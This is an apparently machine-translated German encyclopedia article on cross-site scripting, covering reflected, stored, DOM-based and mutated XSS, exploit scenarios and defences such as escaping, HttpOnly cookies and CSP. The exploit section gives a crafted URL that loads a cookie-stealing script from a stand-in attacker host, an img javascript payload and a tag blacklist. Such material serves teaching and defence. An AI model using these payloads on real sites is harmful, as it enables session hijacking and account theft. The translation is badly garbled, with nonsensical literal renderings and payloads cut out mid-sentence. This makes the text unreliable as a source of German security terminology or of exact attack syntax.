Cross-Site-Scripting
Cross-Site-Scripting (XSS) ist eine Art von Sicherheit Verletzlichkeit das kann in einigen gefunden werden Web Applikationen. XSS -Angriffe ermöglichen Angreifer dazu injizieren Client-Seite-Skripte In Webseiten, die von anderen Benutzern angezeigt werden. Eine Querklammerschriftenanfälligkeit kann von Angreifern verwendet werden, um umzugehen Zugangskontrollen so wie die gleichorientierte Politik. Cross-Site-Scripting ausgeführt Websites machte rund 84% aller Sicherheitslücken aus, die dokumentiert wurden, Symantec Bis 2007.[1] Die XSS -Effekte variieren im Bereich von geringfügigem Ärgernis bis hin zu erheblichem Sicherheitsrisiko, abhängig von der Empfindlichkeit der von der schutzbedürftigen Standort behandelten Daten und der Art der vom Eigentümer des Standorts implementierten Sicherheitsminderungen Netzwerk.
Hintergrund
Die Sicherheit im Internet hängt von einer Vielzahl von Mechanismen ab, einschließlich eines zugrunde liegenden Vertrauenskonzepts, das als gleichorientierte Richtlinie bekannt ist. Dies gibt im Wesentlichen an, dass wenn Inhalte von einer Website (wie z. https://mybank.example1.com) Erteilt die Erlaubnis zum Zugriff auf Ressourcen (wie Cookies usw.) auf a Webbrowser, dann Inhalt von jeder URL mit demselben (1) URI -Schema, (2) Hostname, und (3) Die Portnummer teilen diese Berechtigungen. Inhalte von URLs, bei denen eines dieser drei Attribute unterschiedlich sind, müssen die Berechtigungen separat erteilt werden.[2]
Cross-Site-Skriptangriffe verwenden bekannte Schwachstellen in webbasierten Anwendungen, ihren Servern oder den Plug-in-Systemen, auf die sie sich verlassen. Angreifer nutzen einen dieser Angreifer in den Inhalt, der von der kompromittierten Site geliefert wird. Wenn der resultierende kombinierte Inhalt im clientseitigen Webbrowser eintrifft, wurde alles von der vertrauenswürdigen Quelle geliefert und arbeitet somit unter den für dieses System erteilten Berechtigungen. Ein Angreifer kann nach Wege zur Eingabe von böswilligen Skripten in Webseiten finden, und kann einen erhöhten Zugriffs-Privilegien für sensible Seiteninhalte, Session-Cookies und eine Vielzahl anderer Informationen erhalten, die vom Browser im Namen des Benutzers gepflegt werden. Skriptangriffe mit Cross-Site-Angriffen sind ein Fall von Codeinjektion.
Microsoft Sicherheits-Engineer stellten im Januar 2000 den Begriff "Cross-Site-Skript" vor.[3] Der Ausdruck "Cross-Site Scripting" bezog sich ursprünglich auf den Akt des Ladens der angegriffenen Webanwendung von Drittanbietern aus einer nicht verwandten Angriffsstelle, in einer Weise, die ein Fragment von ausführt JavaScript Vorbereitet vom Angreifer in der Sicherheitskontext der gezielten Domäne (nutzen a reflektiert oder nicht-persistent XSS -Verwundbarkeit). Die Definition wurde allmählich erweitert, um andere Modi der Code-Injektion zu umfassen, einschließlich persistierender und nicht javaScript-Vektoren (einschließlich ActiveX, Java, Vbscript, Blinken, oder auch Html Skripte), die Neuankömmlinge auf dem Gebiet von gewisser Weise verwirrt haben Informationssicherheit.[4]
Seit den neunziger Jahren wurden XSS -Schwachstellen gemeldet und genutzt. Zu den in der Vergangenheit betroffenen prominenten Websites gehören die Sozialnetzwegenseiten Twitter[5] undFacebook.[6] Scripting-Fehler im Cross-Site-Fehler sind seitdem übertroffen Pufferüberläufe Um die häufigste öffentlich gemeldete Sicherheitsanfälligkeit zu werden,[7] Mit einigen Forschern im Jahr 2007 sind die Schätzungen von bis zu 68% der Websites wahrscheinlich für XSS -Angriffe offen.[8]
Typen
Es gibt keine einzelne, standardisierte Klassifizierung von Skriptfehler im Cross-Site-Skript, aber die meisten Experten unterscheiden zwischen mindestens zwei primären Aromen von XSS-Mängel: nicht-persistent und hartnäckig. Einige Quellen unterteilen diese beiden Gruppen weiter in traditionell (verursacht durch serverseitige Codefehler) und Dom-basierend (im clientseitigen Code).
Nicht-persistent (reflektiert)
Unpersistente XSS-Schwachstellen in Google können böswillige Websites ermöglichen, Google-Benutzer anzugreifen, die sie während der Anmeldung angemeldet haben.[9]
Das nicht-persistent (oder reflektiert) Cross-Site-Skriptverfälligkeit ist bei weitem die grundlegendste Art der Webanfälligkeit.[10] Diese Löcher werden angezeigt, wenn die von einem Web -Client bereitgestellten Daten.[11] Am häufigsten in HTTP-Abfrageparametern (z. B. HTML-Formulareingabe) wird sofort von serverseitigen Skripten verwendet, um eine Seite mit Ergebnissen für und für diesen Benutzer ohne ordnungsgemäß zu analysieren und anzuzeigen Bereinigung der Inhalt.[12]
Da HTML-Dokumente eine flache serielle Struktur aufweisen, die Kontrollanweisungen, Formatierungen und den tatsächlichen Inhalt mischt, können nicht validierte von Benutzer bereitgestellte Daten, die in der resultierenden Seite ohne ordnungsgemäße HTML-Codierung enthalten sind, zu einer Markup-Injektion führen.[10][12] Ein klassisches Beispiel für einen potenziellen Vektor ist eine Suchmaschinen -Suchmaschine: Wenn man nach einer Zeichenfolge sucht, wird die Suchzeichenfolge normalerweise wörtlich auf der Ergebnisseite wieder aufgenommen, um anzuzeigen, wonach gesucht wurde. Wenn diese Antwort nicht ordnungsgemäß ist Flucht oder lehnen Sie HTML-Kontrollzeichen ab, ein Querschnitts-Skriptfehler kommt zu.[13]
Ein reflektierter Angriff wird normalerweise per E -Mail oder eine neutrale Website geliefert. Der Köder ist eine unschuldig aussehende URL, die auf einen vertrauenswürdigen Standort zeigt, aber den XSS-Vektor enthält. Wenn die vertrauenswürdige Site für den Vektor anfällig ist, kann das Klicken auf den Link dazu führen, dass der Browser des Opfers das injizierte Skript ausführt.
Anhaltend (oder gespeichert)
Ein hartnäckiger Cross-Zone-Skripte Verwundbarkeit in Verbindung mit a Computerwurm Erlaubte Ausführung des beliebigen Codes und Auflistung des Dateisysteminhalts über einen QuickTime -Film on Mein Platz.[14]
Das hartnäckig (oder gelagert) XSS-Sicherheitsanfälligkeit ist eine verheerendere Variante eines Cross-Site-Skriptfehler , ohne richtige HTML -Flucht. Ein klassisches Beispiel hierfür ist mit Online -Message Boards, in denen Benutzer HTML -formatierte Nachrichten für andere Benutzer zum Lesen veröffentlichen dürfen.[12]
Angenommen, es gibt eine Dating -Website, auf der Mitglieder die Profile anderer Mitglieder scannen, um zu sehen, ob sie interessant aussehen. Aus Datenschutzgründen verbirgt diese Website den richtigen Namen und E -Mail aller von allen. Diese werden auf dem Server geheim gehalten. Das einzige Mal, dass der richtige Name eines Mitglieds und Email sind im Browser, wenn das Mitglied ist angemeldetund sie können niemanden sehen.
Angenommen, Mallory, ein Angreifer, schließt sich der Website an und möchte die richtigen Namen der Personen herausfinden, die sie auf der Website sieht. Dazu schreibt sie ein Skript sie Besuch Sie Profil. Das Skript sendet dann eine kurze Nachricht an ihren eigenen Server, der diese Informationen sammelt.
Um dies zu tun, gibt Mallory für die Frage "Beschreiben Sie Ihr ideales Erstdatum" eine kurze Antwort (um normal zu erscheinen), aber der Text am Ende ihrer Antwort ist ihr Skript, Namen und E -Mails zu stehlen. Wenn das Skript in a eingeschlossen ist Element, es wird nicht auf dem Bildschirm angezeigt. Angenommen, Bob, ein Mitglied der Dating -Site, erreicht das Profil von Mallory, das ihre Antwort auf die erste Frage des ersten Datums hat. Ihr Drehbuch wird automatisch vom Browser ausgeführt und stiehlt eine Kopie von Bobs richtigem Namen und E -Mail direkt von seiner eigenen Maschine.
Persistente XSS-Schwachstellen können wichtiger sein als andere Typen, da das böswillige Skript eines Angreifers automatisch gerendert wird, ohne dass sie individuell Opfer zielen oder auf eine Website von Drittanbietern locken müssen. Insbesondere bei Social-Networking-Websites würde der Code weiterentwickelt, um sich selbst über Konten zu propagieren und eine Art von Kunden zu erstellen Wurm.[15]
Die Injektionsmethoden können sehr unterschiedlich sein; In einigen Fällen muss der Angreifer möglicherweise nicht einmal direkt mit der Webfunktionalität selbst interagieren, um ein solches Loch auszunutzen. Alle Daten, die von der Webanwendung (per E -Mail, Systemprotokolle, IM usw.) empfangen werden, die von einem Angreifer gesteuert werden können, können ein Injektionsvektor werden.
Serverseitige gegen DOM-basierte Schwachstellen
Bevor der Fehler behoben wurde Dom-Basierte XSS -Angriffe, bei denen willkürliche HTML und Skripte mit erzwungenen Fehlermeldungen injiziert werden können.[16]
XSS -Schwachstellen wurden ursprünglich in Anwendungen gefunden, die alle Datenverarbeitung auf der Serverseite durchführten. Benutzereingaben (einschließlich eines XSS -Vektors) werden an den Server gesendet und dann als Webseite an den Benutzer zurückgesendet. Die Notwendigkeit einer verbesserten Benutzererfahrung führte zur Beliebtheit von Anwendungen, die einen Großteil der Präsentationslogik hatten (möglicherweise geschrieben in JavaScript) Arbeiten an der clientseitigen Arbeit, auf der Daten auf Nachfrage vom Server verwendet wurden Ajax.
Als der JavaScript-Code auch die Benutzereingabe verarbeitet und in den Webseiteninhalten rendert, begann eine neue Unterklasse reflektierter XSS-Angriffe zu erscheinen, die genannt wurden Dom-Basierendem Cross-Site-Skript. Bei einem DOM-basierten XSS-Angriff berühren die böswilligen Daten den Webserver nicht. Vielmehr spiegelt sich der JavaScript -Code vollständig auf der Client -Seite wider.[17]
Ein Beispiel für eine DOM-basierte XSS-Schwachstelle ist der Fehler, der 2011 in einer Reihe von gefunden wurde JQuery Plugins.[18] Präventionsstrategien für DOM-basierte XSS-Angriffe umfassen sehr ähnliche Maßnahmen wie herkömmliche XSS-Präventionsstrategien, aber in umgesetzt in JavaScript Code und in Webseiten enthalten (d. H. Eingabevalidierung und -flüchtling).[19] Etwas JavaScript -Frameworks haben eingebaute Gegenmaßnahmen gegen diese und andere Arten von Angriffen-zum Beispiel Angularjs.[20]
Selfxss
Selfxss ist eine Form der XSS -Sicherheitsanfälligkeit, die auf soziale Entwicklung Um das Opfer dazu zu bringen, böswilligen Javascript -Code in seinem Browser auszuführen. Obwohl es technisch gesehen keine echte XSS -Sicherheitsanfälligkeit ist, da er auf sozialer Konstruktion eines Benutzers beruht, Code auszuführen, anstatt einen Fehler auf der betroffenen Website, die es einem Angreifer ermöglicht, stellt es immer noch die gleichen Risiken wie eine reguläre XSS -Anfälligkeit dar, wenn es sich ordnungsgemäß ausgeführt.[21]
Mutiertes XSS (MXSS)
Mutiertes XSS tritt auf, wenn der Angreifer etwas injiziert, das scheinbar sicher ist, aber vom Browser beim Parsen des Markups umgeschrieben und modifiziert wird. Dies macht es äußerst schwierig, in der Anwendungslogik der Website zu erkennen oder zu sanieren. Ein Beispiel ist das Neuausgleich nicht nicht vorgeschlagener Anführungszeichen oder sogar das Hinzufügen von Anführungszeichen zu nicht zeigten Parametern für Parameter zur CSS-Schriftfamilie.
Beispiele ausnutzen
Angreifer, die beabsichtigen, Quadrate gegen seitens seitens Sicherheitslücken auszunutzen, müssen sich jeder Klassen der Verwundbarkeit unterschiedlich nähern. Für jede Klasse wird hier ein bestimmter Angriffsvektor beschrieben. Die folgenden Namen sind technische Begriffe, entnommen aus dem Alice-and-Bob-Besetzung von Charakteren häufig in der Computersicherheit verwendet. Das Browser -Exploitations -Framework könnte verwendet werden, um die Website und die lokale Umgebung des Benutzers anzugreifen.
Nicht-persistent
- Alice besucht häufig eine bestimmte Website, die von Bob gehostet wird. Die Website von Bob ermöglicht Alice, sich mit einem Benutzernamen-/Passwortpaar anzumelden und sensible Daten wie Abrechnungsinformationen zu speichern. Wenn sich ein Benutzer anmeldet, führt der Browser ein Autorisierungs -Cookie, das wie einige zufällige Zeichen aussieht, sodass beide Computer (Client und Server) einen Datensatz haben, in dem sie angemeldet ist.
- Mallory stellt fest, dass Bobs Website eine reflektierte XSS -Sicherheitsanfälligkeit enthält:
- Wenn sie die Suchseite besucht, gibt sie einen Suchbegriff in das Suchfeld ein und klickt auf die Schaltfläche Senden. Wenn keine Ergebnisse gefunden wurden, wird auf der Seite den Begriff angezeigt, nach dem sie gesucht hat, gefolgt von den Wörtern "nicht gefunden", und die URL wird sein
http://bobssite.org/search?q=her%20Search%20Mutter
. - Mit einer normalen Suchabfrage, wie das Wort "Welpen", Die Seite zeigt einfach an"Welpen nicht gefunden "und die URL ist" http://bobssit.org/searchq = Welpen" - was völlig normales Verhalten ist.
- Wenn sie jedoch eine abnormale Suchabfrage einreicht, wie "
",",
- Es wird eine Warnkiste angezeigt (die "XSS" steht).
- Auf der Seite werden "nicht gefunden" zusammen mit einer Fehlermeldung mit dem Text 'XSS' angezeigt.
- Die URL ist "
http://bobssite.org/search?q=
- Das ist ein ausnutzbares Verhalten.
- Wenn sie die Suchseite besucht, gibt sie einen Suchbegriff in das Suchfeld ein und klickt auf die Schaltfläche Senden. Wenn keine Ergebnisse gefunden wurden, wird auf der Seite den Begriff angezeigt, nach dem sie gesucht hat, gefolgt von den Wörtern "nicht gefunden", und die URL wird sein
- Mallory bastelt eine URL, um die Verwundbarkeit auszunutzen:
- Sie macht die URL
http://bobssite.org/search?q=puppies
. Sie konnte sich entscheiden, die zu codieren ASCII Charaktere mit prozentualer Kodierung, wie zum Beispielhttp://bobssit.org/search?q=puppies%3cscript%20src%3D%22Http%3A%2F%2FMallorySeVilsite.com%2FAUTHSTEALER.JS%22%3E%2FSCIPT%3E
damit menschliche Leser die böswillige URL nicht sofort entschlüsseln können.[22] - Sie schickt eine E-Mail an einige ahnungslose Mitglieder von Bobs Website und sagt: "Schauen Sie sich ein paar süße Welpen an!"
- Sie macht die URL
- Alice erhält die E-Mail. Sie liebt Welpen und klickt auf den Link. Es geht auf Bobs Website, um zu suchen, findet nichts und zeigt "Welpen nicht gefunden", aber genau in der Mitte wird das Skript -Tag ausgeführt (es ist unsichtbar auf dem Bildschirm) und lädt und leitet Mallorys Programm Authstealer.js (Auslöser Der XSS -Angriff). Alice vergisst es.
- Das Programm "Authstealer.js" wird in Alice's Browser ausgeführt, als ob es von Bobs Website stammt. Es schnappt sich eine Kopie von Alice's Authorization Cookie und sendet sie an Mallorys Server, wo Mallory es abruft.
- Mallory steckt jetzt Alices Autorisierungs -Keks in ihren Browser, als wäre es ihre eigene. Sie geht dann zu Bobs Website und ist jetzt als Alice angemeldet.
- Jetzt, wo sie in der Nähe ist, geht Mallory in den Rechnungsabschnitt der Website und schaut nach Alice's nach Kreditkartennummer und schnappt sich eine Kopie. Dann geht sie und ändert das Konto von Alice, damit sich Alice nicht mehr anmelden kann.
- Sie beschließt, einen Schritt weiter zu gehen und sendet einen ähnlich gestalteten Link an Bob selbst, wodurch die Administratorrechte auf Bobs Website gewonnen werden.
Mehrere Dinge hätten getan werden können, um diesen Angriff zu mildern:
- Die Sucheingabe hätte sein können sanitiert, die eine ordnungsgemäße Codierungsprüfung beinhalten.
- Der Webserver könnte auf festgelegt werden umleiten Ungültige Anfragen.
- Der Webserver könnte eine gleichzeitige Anmeldung erkennen und die Sitzungen ungültig machen.
- Der Webserver könnte eine gleichzeitige Anmeldung von zwei verschiedenen IP -Adressen erkennen und die Sitzungen ungültig machen.
- Die Website könnte nur die letzten Ziffern einer zuvor gebrauchten Kreditkarte anzeigen.
- Auf der Website können Benutzer ihre Passwörter erneut eingeben, bevor sie ihre Registrierungsinformationen ändern.
- Die Website könnte verschiedene Aspekte der Inhaltssicherheitsrichtlinie.
- Setzen Sie Cookie mit
Httponly
Flagge, um den Zugriff von JavaScript zu verhindern.
Anhaltender Angriff
- Mallory erhält ein Konto auf Bobs Website.
- Mallory stellt fest, dass Bobs Website eine gespeicherte XSS -Sicherheitsanfälligkeit enthält: Wenn man in den Nachrichtenbereich geht und einen Kommentar veröffentlicht, wird die Website angezeigt, was eingegeben wird. Wenn der Kommentartext HTML -Tags enthält, werden sie zur Quelle der Webseite hinzugefügt. Insbesondere alle Skript -Tags werden ausgeführt, wenn die Seite geladen wird.
- Mallory liest einen Artikel im Nachrichtenbereich und gibt einen Kommentar ein:
Ich liebe die Welpen in dieser Geschichte! Sie sind so süß!
- Wenn Alice (oder jemand anderes) die Seite mit dem Kommentar lädt, wird das Skript -Tag von Mallory ausgeleitet und stiehlt Alices Autorisierungs -Cookie und sendet ihn an Mallorys geheime Server zur Sammlung.[22]
- Mallory kann jetzt entführen Alices Sitzung und verkobst Alice.[23][22]
Die Website -Software von Bob hätte das Skript -Tag oder etwas ausgezogen haben, um sicherzustellen, dass es nicht funktioniert hat. Der Sicherheitsfehler besteht darin, dass er es nicht getan hat.
Vorsichtsmaßnahmen
Kontextausgangscodierung/Essentippe der String -Eingabe
Es gibt mehrere Fluchtschemata, die verwendet werden können, je nachdem, wo die nicht vertrauenswürdige Zeichenfolge in einem HTML -Dokument platziert werden muss, einschließlich der HTML -Entitätscodierung, JavaScript -Flucht, CSS -Flucht und URL (oder Prozent) Codierung.[24] Die meisten Webanwendungen, die keine richen Daten akzeptieren müssen, können entkommen, um das Risiko von XSS -Angriffen auf ziemlich einfache Weise weitgehend zu beseitigen.
Durchführung von HTML -Entität, die nur auf dem codiert Fünf xml bedeutende Zeichen reicht nicht immer aus, um viele Formen von XSS -Angriffen zu verhindern. Sicherheitscodierungsbibliotheken sind normalerweise einfacher zu bedienen.[24]
Etwas Webvorlagensysteme Verstehen Sie die Struktur der HTML, die sie produzieren, und wählen Sie automatisch einen geeigneten Encoder.[25][26][27]
Sicher validieren nicht vertrauenswürdige HTML -Eingaben
Mit vielen Betreibern bestimmter Webanwendungen (z. B. Foren und Webmail) können Benutzer eine begrenzte Teilmenge von HTML -Markup verwenden. Beim Akzeptieren von HTML -Eingaben von Benutzern (sagen wir, sehr groß
), Ausgangscodierung (wie z. very large
) reicht nicht aus, da der Benutzereingang vom Browser als HTML gerendert werden muss (so wird es als "angezeigt"sehr groß ", anstelle von" <b> sehr </b> groß "). Das Stoppen eines XSS -Angriffs beim Akzeptieren von HTML -Eingaben von Benutzern ist in dieser Situation viel komplexer. Die nicht vertrauenswürdige HTML HTML sanitization Engine, um sicherzustellen, dass der XSS -Code nicht enthält.
Viele Validierungen stützen sich auf das Parsen (Blacklisting) spezifische "Risiko" -HTML -Tags wie die folgenden
<Skript> <Verknüpfung> <iframe>
Es gibt mehrere Probleme mit diesem Ansatz, beispielsweise können manchmal scheinbar harmlose Tags ausgelassen werden, die bei korrekter Verwendung immer noch zu einem XSS führen können
(Siehe unten Beispiel)
<img src="JavaScript: Alarm (1)">
Eine andere beliebte Methode besteht darin, die Benutzereingabe von "und" zu streifen, aber dies kann auch umgangen werden, wenn die Nutzlast versteckt werden kann Verschleierung (Sieh dir das an [1] Link für ein extremes Beispiel dafür)
Cookie -Sicherheit
Neben der Inhaltsfilterung werden häufig auch andere unvollständige Methoden für die Minderung von Skriptminderungen im Querbereich verwendet. Ein Beispiel ist die Verwendung zusätzlicher Sicherheitskontrollen bei der Handhabung Plätzchen-basierte Benutzerauthentifizierung. Viele Webanwendungen stützen sich auf Sitzungscookies für die Authentifizierung zwischen einzelnen HTTP-Anforderungen. Da Client-Seite-Skripte im Allgemeinen Zugriff auf diese Cookies haben, können einfache XSS-Exploits diese Cookies stehlen.[28] Um diese besondere Bedrohung zu mildern (obwohl nicht das XSS -Problem im Allgemeinen), binden viele Webanwendungen Sitzungs -Cookies an die IP -Adresse des Benutzer, der ursprünglich angemeldet war, und erlauben dann nur, dass die IP dieses Cookie verwendet.[29] Dies ist in den meisten Situationen wirksam (wenn ein Angreifer erst nach dem Keks ist), bricht jedoch offensichtlich in Situationen zusammen, in denen ein Angreifer dahinter steckt Nated IP -Adresse oder Web-Proxy Als Opfer ändert das Opfer seine oder sie Mobile IP.[29]
Eine weitere Minderung in vorhanden Internet Explorer (seit Version 6), Feuerfuchs (seit Version 2.0.0.5), Safari (seit Version 4),, Oper (seit Version 9.5) und Google Chrome, ist ein Httponly Flag, das es einem Webserver ermöglicht, ein Cookie festzulegen, das nicht für clientseitige Skripte verfügbar ist. Das Merkmal kann zwar vorteilhaft sind, kann weder den Diebstahl von Cookie vollständig verhindern noch Angriffe im Browser verhindern.[30]
Skripte deaktivieren
Während Web 2.0 und Ajax Entwickler erfordern die Verwendung von JavaScript,[31] Einige Webanwendungen werden geschrieben, um den Betrieb zu ermöglichen, ohne dass Client-Side-Skripte erforderlich sind.[32] Auf diese Weise können Benutzer, falls sie möchten, vor der Verwendung der Anwendung Skripting in ihren Browsern deaktivieren. Auf diese Weise könnten selbst potenziell böswillige kundenseitige Skripte auf einer Seite unabgeordnet eingefügt werden, und Benutzer wären nicht anfällig für XSS-Angriffe.
Einige Browser- oder Browser-Plugins können so konfiguriert werden, dass sie die Client-Seite-Skripte pro Domäne deaktivieren. Dieser Ansatz ist von begrenztem Wert, wenn das Scripting standardmäßig zulässig ist, da er nur schlechte Websites blockiert nach Der Benutzer weiß, dass sie schlecht sind, was zu spät ist. Funktionen, die alle Skript- und externen Einschlüsse standardmäßig blockiert und es dann ermöglicht, dass der Benutzer sie pro Domänenbasis aktivieren kann, ist effektiver. Dies ist seit langem im Internet Explorer (seit Version 4) möglich, indem er die sogenannten "Sicherheitszonen" einrichtete.[33] und in Opera (seit Version 9) mit den "ortsspezifischen Einstellungen".[34] Eine Lösung für Firefox und andere Gecko-Basierte Browser ist die Open Source NoScript Add-On, das neben der Fähigkeit, Skripte pro Domänen zu aktivieren, bietet einige XSS-Schutz, auch wenn Skripte aktiviert sind.[35]
Das bedeutendste Problem bei der standardmäßigen Blockierung aller Skripte auf allen Websites ist eine erhebliche Verringerung der Funktionalität und Reaktionsfähigkeit (clientseitiges Skripting kann viel schneller sein als serverseitig, da es keine Verbindung zu einem Remote-Server und der Seite oder der Seite oder der Seite oder der Seite oder keine Verbindung benötigt rahmen muss nicht neu geladen werden).[36] Ein weiteres Problem bei der Blockierung des Skripts ist, dass viele Benutzer es nicht verstehen und nicht wissen, wie sie ihre Browser richtig sichern können. Ein weiterer Nachteil ist, dass viele Websites nicht ohne kundenseitige Skripte funktionieren und Benutzer dazu zwingen, den Schutz dieser Website zu deaktivieren und ihre Systeme für Schwachstellen zu öffnen.[37] Mit der Firefox -Noscript -Erweiterung können Benutzer Skripte selektiv von einer bestimmten Seite ermöglichen und gleichzeitig andere auf derselben Seite nicht zulassen. Beispielsweise könnten Skripte von example.com zulässig sein, während Skripte von advertisingAgency.com, die versuchen, auf derselben Seite auszuführen, nicht zugelassen werden.[38]
Selektiv Deaktivieren von Skripten
Inhaltssicherheitspolitik[39] (CSP) ermöglicht es HTML -Dokumenten, einige Skripte zu deaktivieren, während andere aktiviert bleiben. Der Browser überprüft jedes Skript gegen eine Richtlinie, bevor er entscheidet, ob sie ausgeführt werden soll. Solange die Richtlinie nur vertrauenswürdige Skripte und Unauszusicher zulässt Dynamischer Code -LadenDer Browser führt keine Programme von nicht vertrauenswürdigen Autoren aus, unabhängig von der Struktur des HTML -Dokuments.
Dies verlagert die Sicherheitsbelastung auf Richtlinienautoren. Studien[40] Haben Sie Zweifel an der Wirksamkeit von Richtlinien auf der basierten Wirt -Whitelist.
Insgesamt stellen wir fest, dass 94,68% der Richtlinien, die versuchen, die Skriptumsetzung zu begrenzen, unwirksam sind und dass 99,34% der Hosts mit CSP -Richtlinien, die keinen Nutzen gegen XSS bieten, verwenden.
Modern[41] CSP -Richtlinien ermöglichen die Verwendung Nonces[42] Um Skripte im HTML -Dokument als sicher zu markieren, anstatt die Richtlinie vollständig vom Seiteninhalt zu trennen. Solange vertrauenswürdige Nonces nur in vertrauenswürdigen Skripten erscheinen, wird der Browser keine Programme von nicht vertrauenswürdigen Autoren ausführen. Einige große Anwendungsanbieter berichten, dass sie erfolgreich nonce-basierte Richtlinien eingesetzt haben.[43][44]
Aufstrebende Defensivtechnologien
Die Popularität von Client-Seite Frameworks hat die Art und Weise verändert, wie Angreifer XSS erstellen.[45]
Skript -Geräte sind legitime Javascript -Fragmente in der legitimen Codebasis einer Anwendung. Wir zeigen, dass diese Geräte in fast allen modernen JavaScript -Frameworks allgegenwärtig sind und eine empirische Studie präsentieren, die die Prävalenz von Skriptgadgets in produktivem Code zeigt. Infolgedessen gehen wir davon aus, dass die meisten Minderungstechniken in Webanwendungen, die heute geschrieben wurden, umgangen werden können.
Vertrauenswürdige Typen[46] Änderungen Web -APIs zu überprüfen, ob die Werte waren Markenzeichen Wie vertrauenswürdig. Solange Programme nur Markenzeichen vertrauenswürdige Werte, ein Angreifer, der ein JavaScript kontrolliert Stringwert kann XSS nicht verursachen. Vertrauenswürdige Typen sind so konzipiert Prüfbar durch Blaue Teams.
Ein weiterer Verteidigungsansatz besteht darin, automatisierte Tools zu verwenden, mit denen XSS böswillige Code auf Webseiten entfernt wird. Diese Tools verwenden Statische Analyse und/oder Musteranpassungsmethoden zur Identifizierung von böswilligen Codes potenziell und mithilfe von Methoden wie dem Flucht.[47]
Samesit Cookie Parameter
Wenn ein Cookie mit dem Parameter samesit = strikt eingestellt wird, wird er von allen Cross-Origin-Anfragen entzogen. Wenn Sie mit samesit = lax gesetzt sind, wird es von allen nicht "sicheren" Cross-Origin-Anfragen (dh Anfragen als GET, Optionen und Spuren mit schreibgeschütztem Semantik) entzogen.[48] Die Funktion ist in implementiert in Google Chrome Seit Version 63 und Feuerfuchs Seit Version 60.[49]
Verwandte Schwachstellen
In einem Universal Cross-Site Scripting (UXSS, oder Universal XSS) Angriff, Schwachstellen im Browser selbst oder in den Browser -Plugins werden ausgenutzt (und nicht Schwachstellen auf anderen Websites, wie dies bei XSS -Angriffen der Fall ist).[50][51]
Mehrere Klassen von Schwachstellen oder Angriffstechniken beziehen sich auf XSS: Cross-Zone-Skripte nutzt "Zonen" -Konzepte in bestimmten Browsern und führt normalerweise Code mit größerem Privileg aus.[52][53] HTTP -Headerinjektion Kann verwendet werden, um seitens-seiten-Skriptbedingungen zu erstellen, da Probleme auf dem HTTP-Protokollebene entkommen HTTP -Antwortaufteilung).[54]
Cross-Site-Anfragefälschung (CSRF/XSRF) ist fast das Gegenteil von XSS, da der Angreifer (und seine böswillige Seite) das Vertrauen der Website in die Kundensoftware ausnutzt, anstatt das Vertrauen des Benutzers auf eine Website auszunutzen, und Anfragen einreicht, von denen die Website für bewusst und bewusst vertritt und darstellt Absichtliche Maßnahmen authentifizierter Benutzer.[55] XSS -Schwachstellen (auch in anderen Anwendungen, die auf derselben Domäne ausgeführt werden) ermöglichen es den Angreifern, die CSRF -Präventionsbemühungen zu umgehen.[56]
Verdeckte Umleitung Nutzen Sie Kunden von Drittanbietern, die für XSS oder offene Ausleitungsangriffe anfällig sind.[57] Normale Phishing -Versuche können leicht zu erkennen sein, da die URL der böswilligen Seite normalerweise um ein paar Buchstaben der realen Site ausgeht. Der Unterschied zur verdeckten Umleitung besteht darin, dass ein Angreifer die reale Website stattdessen nutzen kann, indem sie die Website mit einem böswilligen Pop-up-Dialogfeld von Anmeldungen kündigt.[58]
Zuletzt, SQL-Injektion nutzt eine Sicherheitsanfälligkeit in der Datenbankschicht einer Anwendung. Wenn die Benutzereingabe fälschlicherweise gefiltert wird, können alle SQL -Anweisungen von der Anwendung ausgeführt werden.[59][60]
Die spezifischen XSS, die eine bestimmte Version eines Webbrowsers betreffen, sind in der Regel einzigartig. Infolgedessen ist es möglich, XSS zum Fingerabdruck des Browser -Anbieters und der Version eines Benutzers zu verwenden.[61]
Siehe auch
- Webanwendungssicherheit
- Internet sicherheit
- XML externe Entität
- Browsersicherheit
- Metasploit -Projekt, ein Open-Source-Penetrationstest-Tool, das Tests für XSS enthält
- W3AF, eine Open-Source Sicherheitsscanner für Webanwendungen
- Dompurify, a freie und Open Source Codebibliothek von Cure53 Verringerung der Anfälligkeit für XSS -Schwachstellen auf Websites.
- Cross-Dokument-Nachrichten
- Samy (Computerwurm)
- Parametervalidierung
Verweise
- ^ In der zweiten Halbzeit des Jahres 2007 wurden von XSED von XSED dokumentiert, verglichen mit 2.134 "traditionellen" Schwachstellen, die von Symantec dokumentiert sind "Symantec Internet Security Threat Report: Trends für Juli bis Dezember 2007 (Executive Summary)" (PDF). Xiii. Symantec Corp. April 2008: 1–3. Archiviert von das Original (PDF) am 25. Juni 2008. Abgerufen 11. Mai, 2008.
{{}}
: Journal zitieren erfordert|journal=
(Hilfe) - ^ "Gleiche Ursprungsrichtlinie - Web Security. W3.org". Abgerufen 4. November, 2014.
- ^ "Dross" auf MSDN (15. Dezember 2009). "Alles Gute zum 10. Geburtstag Cross-Site Scripting!". Abgerufen 19. März, 2016.
Am 16. Januar 2000 wurden die folgenden Namen vorgeschlagen und unter einer kleinen Gruppe von Microsoft -Sicherheitsingenieuren herumgekommen: [...] Am nächsten Tag gab es Konsens - Cross Site Scripting.
- ^ Grossman, Jeremiah (30. Juli 2006). "Die Ursprünge von Cross-Site Scripting (XSS)". Abgerufen 15. September, 2008.
- ^ Arthur, Charles (21. September 2010). "Twitter -Nutzer, darunter Sarah Brown, die von bösartiger Hacker -Angriff getroffen wurde". Der Wächter. Abgerufen 21. September, 2010.
- ^ Leyden, John (23. Mai 2008). "Facebook von XSS -Fehler gestoßen". Das Register. Abgerufen 28. Mai, 2008.
- ^ Christey, Steve; Martin, Robert A. (22. Mai 2007). "Verteilungen vom Typ Schwachstellentyp in CVE (Version 1.1)". Mitre Corporation. Abgerufen 7. Juni, 2008.
- ^ Berinato, Scott (1. Januar 2007). "Offenlegung von Software -Schwachstellen: Der erschreckende Effekt". CSO. CXO Media. p. 7. archiviert von das Original am 18. April 2008. Abgerufen 7. Juni, 2008.
- ^ Amit, Yair (21. Dezember 2005). "Google.com UTF-7 XSS-Schwachstellen". Archiviert von das Original am 23. Oktober 2020. Abgerufen 20. Februar, 2022.
- ^ a b Paco, Hoffnung; Walther, Ben (2008). Kochbuch für Websicherheitstests. Sebastopol, CA: O'Reilly Media, Inc. p.128. ISBN 978-0-596-51483-9.
- ^ Hydara, Isatou; Sultan, Abu Bakar Md.; Zulzalil, Hazura; Admodisastro, Novia (1. Februar 2015). "Der aktuelle Stand der Forschung zum Cross-Site-Skript (XSS)-Eine systematische Literaturübersicht". Informations- und Softwaretechnologie. 58: 170–186. doi:10.1016/j.infsof.2014.07.010.
